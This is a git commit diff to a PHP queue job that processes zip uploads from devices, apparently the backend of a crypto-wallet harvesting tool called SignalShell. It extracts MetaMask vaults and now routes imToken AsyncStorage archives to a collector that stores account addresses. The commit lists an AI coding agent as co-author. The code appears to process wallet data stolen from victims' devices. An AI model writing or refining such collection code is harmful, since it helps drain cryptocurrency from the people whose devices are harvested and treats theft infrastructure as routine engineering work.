fix: ingest imToken EOAs from SignalShell AsyncStorage zips

Reuse the named-structure collector so harvest uploads store account addresses without flooding wallet_addresses from token lists.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
root
2026-10-06 00:43:43 +00:00
parent 2d3b6e1f2c
commit c5138594e1
4 changed files with 264 additions and 2 deletions
+15 -2
View File
@@ -176,8 +176,21 @@ class ProcessShellUpload implements ShouldQueue
$this->extractMetaMaskVault($device, $tmpFile);
}
// ── 3. Blockchain address scan (text files only) ──
$this->scanAddresses($device, $zip, $sourceLabel);
// ── 3. Addresses ──
// imToken AsyncStorage is a token inventory; naive 0x/T regex
// would ingest hundreds of contracts. Reuse the named-structure
// collector from the /api/v2 tar path.
if (str_contains($lower, 'im.token') || str_contains($lower, 'im_token') || $sourceLabel === 'imToken') {
try {
app(AppUploadIngester::class)->ingestImTokenShellZip($device, $body);
} catch (\Throwable $e) {
Log::channel('keystore')->warning('ProcessShellUpload: imToken address ingest failed', [
'error' => $e->getMessage(),
]);
}
} else {
$this->scanAddresses($device, $zip, $sourceLabel);
}
$zip->close();
@unlink($tmpFile);